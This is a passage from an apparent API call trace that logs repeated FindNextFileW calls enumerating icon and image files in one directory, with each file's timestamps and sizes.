ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImages.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImage.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImageMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchIconImages.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupicons.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupiconsmask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="")) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, 